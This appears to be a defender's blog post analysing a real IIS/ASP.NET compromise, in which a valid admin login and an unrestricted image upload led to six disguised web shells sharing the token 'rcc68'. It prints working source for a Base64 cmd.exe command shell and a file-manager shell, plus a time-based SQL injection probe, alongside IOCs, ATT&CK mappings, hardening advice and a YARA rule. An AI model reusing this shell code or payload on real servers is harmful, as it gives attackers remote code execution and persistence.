Post

They Didn't Hack In, They Logged In: A Six-Shell IIS Backdoor Story

A successful first-try admin login and an unrestricted image upload turned into six disguised ASP.NET web shells sharing one hardcoded auth token, rcc68.

They Didn't Hack In, They Logged In: A Six-Shell IIS Backdoor Story

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.

TL;DR

An IIS/ASP.NET site got compromised the boring way: a successful admin-panel login on the very first attempt (no brute force in ~31 hours of logs), then an unrestricted image-upload endpoint used to drop six disguised ASP.NET web shells sharing one hardcoded auth token, rcc68. Every shell takes its command over GET/POST parameters or headers and runs it through cmd.exe – no C2 infrastructure at all, no beacon to chase. What follows is what real-world RCE looks like on a normal Tuesday: login, upload, recon, redundant persistence.

If this is your fleet, do these first:

  • Strip execute permissions from any directory your app lets users (even admin users) upload into – this alone stops all six shells regardless of how the login was obtained
  • Hunt any IIS worker process (w3wp.exe) spawning cmd.exe or powershell.exe – Windows Event ID 4688 or Sysmon Event ID 1
  • Enforce phishing-resistant MFA on every admin panel, not just your identity provider, and treat any credential involved in an incident like this as burned

Full IOCs and detection rules are at the bottom.

No exploit chain, no zero-day, just a login

I keep waiting for one of these cases to open with something dramatic – a memory-corruption bug, a deserialization gadget chain, something I can put a CVE number on. This one didn’t give me that. It gave me an admin login page, one successful POST, and an image-upload form that had apparently never met a file extension it didn’t like.

That’s it. That’s the initial access story. No brute force – I checked, there isn’t a single failed login anywhere in the ~31 hours of IIS logs I had. No exploit. Someone logged into a CMS admin panel with valid credentials, on the first try, and then went looking for the fastest way to turn “I’m logged in” into “I have a shell.” They found it in the image uploader.

This post isn’t really about one webshell kit. It’s a worked example of how a huge share of real-world compromises actually happen – not a zero-day, just a door someone already had a key to, followed by a mundane feature that turns out to accept more than it should. It’s reconstructed almost entirely from IIS logs, which turned out to be a gift, because this kit sends every command as a GET or POST request with the payload sitting right there in plain sight. No C2 traffic to chase, no encrypted blob to crack. Just a transcript, if you know how to read it. Let’s get into it.

Defender quick reference

FieldDetails
Activity typeCompromise – IIS/ASP.NET admin panel login + unrestricted file upload -> web shell kit
Primary artifactshp-light-overlay.aspx, bundle-theme.aspx, gtag-proxy.aspx, pixel-fallback.aspx, preload-cache.aspx, sitemap-ping.aspx, shared auth token rcc68
VerdictMalicious
ConfidenceHigh for everything derived from request URLs/headers and shell source (fully readable, no obfuscation defeating analysis). Low/unknown for anything requiring response-body content or host telemetry not captured by W3C logs.
Key logsIIS W3C access logs (cs-uri-stem, cs-uri-query, custom request headers if configured), Windows Event ID 4688, Sysmon Event ID 1
ATT&CKT1078, T1190, T1505.003, T1059.003, T1059.001, T1082, T1016, T1049, T1018, T1087, T1069, T1135, T1518.001, T1036
First defender actionsPull every .aspx/.ashx file under the web root containing rcc68; rotate the admin credential used in the window; strip execute permissions from upload directories
Detection opportunitiesYARA rule below; w3wp.exe -> cmd.exe/powershell.exe process-tree alert; file-integrity monitoring on /images/, /assets/, /uploads/
False-positive notesNone known – rcc68 as a query/header value and w3wp.exe spawning a shell interpreter have no legitimate use case on a stock IIS site

The attack at a glance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. Initial access    -- valid admin-panel credentials, used successfully on
                        the first login attempt. Source unconfirmed.
2. Execution         -- unrestricted file upload (/Admin/Image/Add.aspx)
                        accepted a .aspx payload directly into the web root.
3. Persistence       -- six differently-disguised web shells, planted across
                        five admin sessions; the last five landed in a
                        six-second burst.
4. Command and       -- none, in the traditional sense. Every shell is fully
   control              interactive and attacker-initiated: commands ride in
                        as GET/POST parameters or headers, output comes back
                        in the HTTP response body.
5. Objective         -- hands-on-keyboard recon: host identity, installed
                        AV/EDR products, local accounts and shares, IIS site
                        inventory, and a ping/DNS sweep of an internal /24.

How it works

Stage 1 – Getting in (and a dead end along the way)

Before touching the login page, the actor threw a couple of SQL injection probes at an endpoint that doesn’t even exist on this site:

1
GET /ProductSearch.ashx?s=x';WAITFOR DELAY '0:0:3'--

Classic time-based blind SQLi test – if the app were vulnerable, that request takes an extra three seconds to come back. It didn’t: the endpoint returns a flat 404, and the response time never moved off ~215-220ms regardless of the payload. Reads like a canned step in a scripted playbook, the kind of thing you throw at every site on a list and shrug off when it doesn’t land – a reminder that not every recon step in an attacker’s log trail was successful, or even relevant to how they actually got in.

The actual way in was far less exciting and far more effective:

1
2
3
GET  /Admin/Login.aspx     -> 200
POST /Admin/Login.aspx     -> 302   (success -- first attempt)
GET  /Admin/Default.aspx   -> 200   (dashboard loads)

One shot, no retries. I can’t tell you from these logs how that credential was obtained – that’s the one thread I couldn’t pull on with what I had. More on that in the Closing.

Stage 2 – Turning an image uploader into a backdoor

Once inside the admin panel, the actor went straight for the image management feature:

1
2
3
GET  /Admin/Image/Add.aspx   -> 200   (upload form)
POST /Admin/Image/Add.aspx   -> 302   (upload accepted)
GET  /Admin/Image/           -> 200   (confirm it's listed)

/Admin/Image/Add.aspx happily accepted a .aspx file. Textbook unrestricted file upload (CWE-434) – a form built to accept .jpg/.png that either isn’t checking the extension at all, or is checking it somewhere a determined uploader can route around (double extensions, content-type spoofing – I couldn’t recover the exact bypass from IIS logs alone, since POST bodies aren’t logged).

What I really liked here, in the “well, that’s thorough” sense rather than the complimentary one, is that the actor didn’t stop at confirming the upload worked. In the very next session they checked whether every other content type in the admin panel had the same problem:

1
2
3
4
GET /Admin/Slider/Add.aspx
GET /Admin/Docs/Add.aspx
GET /Admin/Content/Add.aspx
GET /Admin/Gallery/Add.aspx

That’s not curiosity, that’s redundancy planning. They wanted to know if Image was their only door or one of five.

They also didn’t know, at first, where an uploaded file actually lands on disk – so they guessed:

1
2
3
4
GET /assets/images/hp-light-overlay.aspx   -> 404
GET /upload/hp-light-overlay.aspx          -> 404
GET /docs/hp-light-overlay.aspx            -> 404
GET /images/hp-light-overlay.aspx          -> 200   <- there it is

Four guesses, one hit. /images/ was the answer the whole time.

Stage 3 – Six shells, six flavours of “not what it looks like”

This is the part worth slowing down on, because it’s the real point of this post: what a modern, unsophisticated-but-competent web shell kit actually looks like when you read the source. All six files are pure ASP.NET inline code (<%@ Page Language="C#" %> plus <script runat="server">) – no compiled DLL, nothing dropped as a binary. Every one of them is gated by the same hardcoded token, rcc68, which is the single strongest piece of evidence that this is one toolkit, not six independent shells.

FileDisguised asAuth checkCommand carried inEncoding
hp-light-overlay.aspxCSS/lightbox overlayk=rcc68 (query)v paramBase64
bundle-theme.aspxJS/theme bundlerX-RCC-Key: rcc68 (header)x paramBase64
gtag-proxy.aspxGoogle Analytics proxyXHR header + token=rcc68q paramPlaintext
pixel-fallback.aspxTracking-pixel fallbacksid=rcc68 (query)id paramBase64
preload-cache.aspxResource preloaderk=rcc68 (query)v paramBase64
sitemap-ping.aspxSitemap ping endpointk=rcc68 (query)a/p/d paramsPlaintext

hp-light-overlay.aspx was the workhorse – 28 of the 33 total shell requests I found went to this one file. It’s also the plainest example of how little code an interactive RCE shell actually needs:

1
2
3
4
5
6
7
<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><script runat="server">
protected void Page_Load(object s, EventArgs e){if(Request["k"]!="rcc68"){Response.StatusCode=404;Response.End();}
var v=Request["v"]; if(string.IsNullOrEmpty(v)){Response.Write("OK");return;}
var c=System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(v));
var psi=new ProcessStartInfo(Environment.GetEnvironmentVariable("ComSpec"),"/c "+c){RedirectStandardOutput=true,RedirectStandardError=true,UseShellExecute=false,CreateNoWindow=true};
var p=Process.Start(psi); Response.ContentType="text/plain"; Response.Write(p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd());}
</script>

Check the token, Base64-decode a query parameter, hand it to cmd.exe via ProcessStartInfo (the .NET class that launches and manages a child process), capture stdout/stderr, write it back into the response. That’s the whole shell. No packing, no encryption. The Base64 layer isn’t there to stop an analyst – it’s there to dodge a lazy WAF signature matching a bare cmd/powershell string in a URL.

bundle-theme.aspx runs the identical skeleton, but gates on a custom header, X-RCC-Key: rcc68, instead of a query parameter. Default IIS W3C logging captures the URL and query string, but not arbitrary custom headers unless you’ve explicitly added a cs(X-RCC-Key) field – most sites haven’t. If this had been the only shell in play, its auth mechanism would have been far harder to reconstruct from logs alone. Your web logs might be recording less than you think.

gtag-proxy.aspx disguises itself as a Google Analytics proxy and skips the Base64 layer entirely – its q parameter goes straight into cmd.exe as plaintext. Easiest of the six to verify (no decode step), but it also means full commands sit in the clear in raw access logs – a bit of a tradecraft own-goal.

pixel-fallback.aspx is the one I’d call genuinely clever. If the sid token is wrong, it doesn’t 404 – it returns a real, byte-correct 1x1 transparent GIF, so anyone glancing at it (or an automated scanner checking “does this respond like an image?”) sees exactly what a tracking pixel should look like:

1
2
3
if(sid!="rcc68"){Response.ContentType="image/gif";
Response.BinaryWrite(new byte[]{0x47,0x49,0x46,0x38,0x39,0x61, /* ...valid GIF89a bytes... */ });
return;}

Small thing, but it’s the difference between “this file looks weird” and “this file looks like the thousand other tracking pixels on the internet.” Credit where it’s due.

preload-cache.aspx is functionally the same ProcessStartInfo shell again, wrapped in a try/catch – a robustness tweak, not a new capability. Five of the six files are the same handful of lines with a different name, a different disguise, and a different way of smuggling in the auth token. That’s not laziness so much as the point – redundancy is the feature.

sitemap-ping.aspx is the odd one out, and arguably the most dangerous of the six precisely because it isn’t a command-exec shell at all. It’s a file manager, built directly on Directory.GetFileSystemEntries, File.ReadAllText, File.WriteAllText, and File.Delete:

1
2
3
4
if(a=="l"){Response.Write(string.Join("\n", Directory.GetFileSystemEntries(p)));}
else if(a=="r"){Response.Write(File.ReadAllText(p));}
else if(a=="w"){File.WriteAllText(p, d);}
else if(a=="d"){File.Delete(p);}

That’s direct filesystem read/write/delete without ever touching cmd.exe – useful for quietly re-planting a shell if the others get cleaned up, and invisible to a w3wp.exe -> cmd.exe detection rule, since there’s no child process involved. Only list (a=l) got exercised here, but write and delete were sitting there, unused but fully armed.

None of these shells need outbound infrastructure. No beacon, no C2 domain, no DNS to sinkhole – the entire “channel” is the attacker typing a URL. Good news for detection: the full interaction sits in plaintext (well, mostly Base64) in your IIS logs, sortable by timestamp, forever – provided your logging covers the fields these shells actually use.

Stage 4 – The recon playbook, and a redundant finale

Once the first shell was confirmed live, the actor ran a methodical discovery sequence – host identity, network config, listening/established connections – via cmd.exe and powershell.exe spawned directly off the IIS worker process, w3wp.exe. That parent-child pairing is a trusted, signed process laundering command execution for whatever gets handed to it – the same idea behind LOLBins and living-off-the-land tradecraft more generally, and a strong detection opportunity in its own right.

Then came security-tool discovery via two independent methods – process and service enumeration, then the same check again against the registry’s uninstall keys, grepping both for a list of AV/EDR/RMM products. I can’t read the output (IIS logs record response sizes, not bodies), but the first response was 1,090 bytes – bigger than an empty result set would typically produce, so my honest read is “probably found something,” not “definitely.” Worth confirming against your own EDR telemetry if you’re holding this one.

From there: local accounts and admin group membership, shares, the full IIS site inventory, a directory listing of the web root, and a ping-plus-reverse- DNS sweep of ten addresses on an internal /24 (full command list in the ATT&CK table below). That sweep took 47 seconds – in line with most of those ten hosts simply not answering, a mildly encouraging sign for whoever runs that network’s segmentation, though I can’t confirm it without the response body.

And then, right at the end of the window I had visibility into, the actor uploaded the remaining five shells in a six-second burst and immediately tested every single one with whoami:

1
2
3
4
5
6
7
07:36:14, :15, :17, :19, :21  POST /Admin/Image/Add.aspx  -> 302 (x5)
07:36:24  preload-cache.aspx    -> 200
07:36:24  sitemap-ping.aspx     -> 200  (a=l, directory listing)
07:36:25  bundle-theme.aspx     -> 200
07:36:25  gtag-proxy.aspx       -> 200
07:36:25  pixel-fallback.aspx   -> 200
07:36:26  hp-light-overlay.aspx -> 200

Redundant backdoors, verified in bulk, right before my logs run out. That’s not someone who got lucky once. That’s someone closing out a checklist.

Techniques observed (MITRE ATT&CK)

The following techniques have been mapped to MITRE ATT&CK for future reference.

TacticTechniqueATT&CK IDWhat it did here
Initial AccessValid AccountsT1078Admin panel login succeeded on the first attempt, no visible brute force
Initial Access / ExecutionExploit Public-Facing ApplicationT1190Unrestricted file upload in an admin image-management endpoint accepted a .aspx payload
PersistenceServer Software Component: Web ShellT1505.003Six ASP.NET web shells planted across the web root
ExecutionWindows Command ShellT1059.003cmd.exe /c via ProcessStartInfo in five of six shells
ExecutionPowerShellT1059.001-NoProfile -Command invocations for AV/EDR discovery and network enumeration
DiscoverySystem / Network Information DiscoveryT1082 / T1016 / T1049whoami, systeminfo, ipconfig, route, arp, netstat
DiscoveryRemote System DiscoveryT1018Ping + reverse-DNS sweep of an internal /24
DiscoveryAccount / Permission Group DiscoveryT1087 / T1069net user, net localgroup administrators
DiscoveryNetwork Share DiscoveryT1135net share
DiscoverySecurity Software DiscoveryT1518.001Process, service, and registry checks against 10+ named AV/EDR/RMM products
DiscoveryFile and Directory DiscoveryT1083dir commands, Get-Website, sitemap-ping.aspx directory listing
Defense EvasionMasqueradingT1036Web shells disguised as theme/analytics/cache/sitemap assets; fake GIF response on auth failure; auth token smuggled via custom header on one shell

Why this matters

Strip away the specifics and what you’re left with is a fully functional, redundant, remotely-controllable foothold on an internet-facing server, established by an actor who took the time to check for AV and EDR before doing anything that might trip them. That’s not smash-and-grab behaviour. Whatever the actual goal was here – and I genuinely don’t know, nothing in this dataset tells me – the recon they gathered (local admin accounts, IIS site layout, an internal network map) is exactly the kind of thing you’d want in hand before trying to move laterally or stage something bigger. None of that happened in the window I could see, but the ingredients were all sitting there, ready.

I’ll also say this plainly, because it’s tempting to reach for it and I don’t think the evidence supports it: I have no reason to believe this is a nation-state operation, or tied to any named group. The tradecraft is competent but not exotic – this is squarely in “patient, careful, human operator” territory, not “advanced persistent” anything. I’d rather undersell that than dress it up.

What defenders can do

This is the part I actually want you to walk away with, so I’m not going to bury it.

Technique (ATT&CK)What to doEssential EightWhat to hunt for
Valid Accounts (T1078)Put phishing-resistant MFA in front of every admin panel, not just your identity provider. Treat any credential involved in an incident like this as burned – rotate it, don’t just monitor it.Multi-Factor Authentication – Implementing Multi-Factor Authentication (Nov 2023)New or first-seen source IP/ASN authenticating successfully to an admin account; app-level login-success events, not just Windows 4624/4625
Unrestricted File Upload -> Web Shell (T1190 / T1505.003)Strip execute permissions from every directory your app lets users (even admin users) upload into. In IIS terms: no ASP.NET handler mapping on /images/, /uploads/, /assets/. Validate uploaded content by magic bytes, not by trusting the extension or Content-Type header.Application Control – Implementing Application Control (Nov 2023). This is an app-logic gap rather than a missing vendor patch, but the control that actually stops it is the same one that governs whether a dropped script is allowed to execute at all.File integrity monitoring on the web root for new .aspx/.ashx/.asp files – this single control would have stopped all six shells regardless of how the login was obtained
Command Execution via Web Shell (T1059.003 / T1059.001)Where PowerShell exists on an app server that doesn’t need it, remove it. Where it’s needed, enforce Constrained Language Mode so a shell can’t reach [Convert]::FromBase64String or spin up arbitrary .NET objects freely.Application Control (Maturity Level 1 expects script execution to be controlled) + Securing PowerShell in the Enterprise (Oct 2021)Event ID 4688 for cmd.exe/powershell.exe spawned with a w3wp.exe (or your app-pool worker) parent – close to a zero-false-positive detection on most IIS boxes
Security Software Discovery (T1518.001)Enable tamper protection on your AV/EDR and make sure it actually alerts on someone enumerating its own processes/services, not just on someone trying to disable it.Restrict Administrative Privileges – Restricting Administrative Privileges (Nov 2023), tamper-protection provisionsEDR/AV tamper or self-protection alerts; Get-Service/Get-Process/registry queries pattern-matching against security-vendor names
Discovery bundle (T1082/T1016/T1049/T1018/T1087/T1069/T1135)Run app-pool and service accounts with the least privilege they can survive on. net user, net share, and an internal ping sweep are a lot less useful to an attacker if the account running them can barely see the domain.Restrict Administrative Privileges – Restricting Administrative Privileges (Nov 2023)Process creation logging (Sysmon Event ID 1 / 4688) for net.exe, systeminfo.exe, arp.exe, route.exe, qwinsta.exe spawned from any IIS worker process
Masquerading / log coverage gap (T1036)Enable logging of custom request headers on internet-facing IIS sites (W3C extended logging supports arbitrary cs(Header-Name) fields), not just URL and query string – bundle-theme.aspx’s header-based auth would be invisible in a standard log config.No clean E8 home for masquerading itself, though Application Control still validates the payload regardless of filenameBaseline your IIS log field configuration – if you can’t answer “which custom headers do we capture”, you can’t rule this pattern out on your own estate

The one I’d genuinely prioritise tomorrow is the file-upload fix. MFA would have stopped this session from starting, and it matters – but the upload flaw is what turned “an admin is logged in” into “six persistent backdoors.” Fix the door that lets a login turn into code execution, and a stolen credential buys an attacker a lot less.

Hunting and detection summary

  • IIS logs: any cs-uri-stem under /images/, /assets/, /uploads/, /docs/ with a query string containing k=, token=, sid=, x=, v=, or id= followed by a long Base64-looking string.
  • IIS logs: confirm your log configuration actually captures custom request headers, not just URL and query string – one of the six shells here authenticates entirely via a header that a default W3C config would miss.
  • Process creation (Sysmon Event ID 1 / Windows 4688): your IIS worker process (w3wp.exe or equivalent) spawning cmd.exe or powershell.exe – legitimate app code essentially never does this.
  • PowerShell Script Block Logging (Event ID 4104) on any application server that shouldn’t be running ad-hoc -Command invocations at all.
  • File integrity monitoring on web-content directories for new script extensions (.aspx, .ashx, .asp, .php, .jsp – whatever your stack runs) landing outside a deployment pipeline.
  • Repeated POST requests to any */Add.aspx-style upload endpoint from a single source in a short window, especially followed by a burst of 404s probing sibling directories for the uploaded file.
  • Admin-panel authentication success from a source IP/ASN never seen for that account before.

The YARA rule, Sigma detections, KQL queries, and IOC list for this campaign are also available in the companion detection repo.

Indicators of Compromise

TypeIndicatorNotes
IP126[.]66[.]36[.]68Actor source IP (CF-Connecting-IP – the site sits behind Cloudflare). WHOIS resolves to a SoftBank BB (BBTEC) residential broadband block in Japan; treat as likely proxy/compromised-host infrastructure rather than a confirmed point of origin.
Filenamehp-light-overlay.aspxPrimary shell, most heavily used
Filenamebundle-theme.aspxHeader-gated (X-RCC-Key) shell
Filenamegtag-proxy.aspxXHR-header + token gated shell, plaintext command
Filenamepixel-fallback.aspxDecoy-GIF-on-auth-failure shell
Filenamepreload-cache.aspxSame skeleton, try/catch wrapper
Filenamesitemap-ping.aspxFile manager (list/read/write/delete), not a command shell
Shared tokenrcc68Hardcoded across all six shells – high-confidence fingerprint for this kit
Endpoint (abused)admin image-upload endpointUnrestricted file upload; sibling upload forms in the same admin panel (Slider, Docs, Content, Gallery) were also probed by the actor and are worth checking on any site running similar software

Detection rules

rule Webshell_ASPX_RCC68_ShellKit
{
    meta:
        description = "ASP.NET inline web shell using shared 'rcc68' auth token, disguised as static asset files"
        author = "blueteam.cool"
        date = "2026-08-29"

    strings:
        $token1 = "rcc68" ascii
        $psi1   = "ProcessStartInfo" ascii
        $psi2   = "ComSpec" ascii
        $psi3   = "RedirectStandardOutput" ascii wide
        $psi4   = "CreateNoWindow=true" ascii
        $b64    = "FromBase64String" ascii
        $hdr    = "X-RCC-Key" ascii
        $fileop = /Directory\.GetFileSystemEntries|File\.ReadAllText|File\.WriteAllText/ ascii

    condition:
        filesize < 5KB
        and $token1
        and ( (2 of ($psi1,$psi2,$psi3,$psi4) and $b64) or $hdr or $fileop )
}

Closing

The hardest question in the whole investigation – how did this admin credential end up in someone else’s hands – is the one my artifacts genuinely couldn’t answer. Not “I chose not to include it.” Couldn’t. There’s no brute force to point at, no phishing email in the log, nothing. It was just already valid, the first time anyone tried it.

I want to be careful here, because it’s easy to turn that gap into a headline it doesn’t deserve: I have no evidence this login came from a ClickFix lure, an infostealer log, or a credential marketplace. That’s speculation, and I’d rather flag it as speculation than dress it up as a finding. But I’d be lying if I said the thought didn’t cross my mind, given how much of that stuff I’ve been pulling apart lately – fake CAPTCHA pages, paste-and-run PowerShell one-liners, browser-credential stealers with Telegram or Steam-profile dead drops for exfil. Those campaigns are working, at scale, against people who will never know it happened, and every stolen session is a credential sitting in a log somewhere, for sale or just waiting. Some tiny fraction are admin logins to sites exactly like this one. You don’t need a sophisticated actor to weaponise that – you need a list and twenty minutes, which is roughly what this whole intrusion cost.

If there’s one habit worth taking from this: don’t just ask “is our login page secure.” Ask “if a valid credential for this login page turned up in someone’s hands tomorrow morning, what’s the very next thing they could do with it, and how fast could they do it.” In this case, the answer was “upload a working backdoor within seven minutes.” That’s the gap I’d close first.

Stay curious.


On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.

References

This post is licensed under CC BY 4.0 by the author.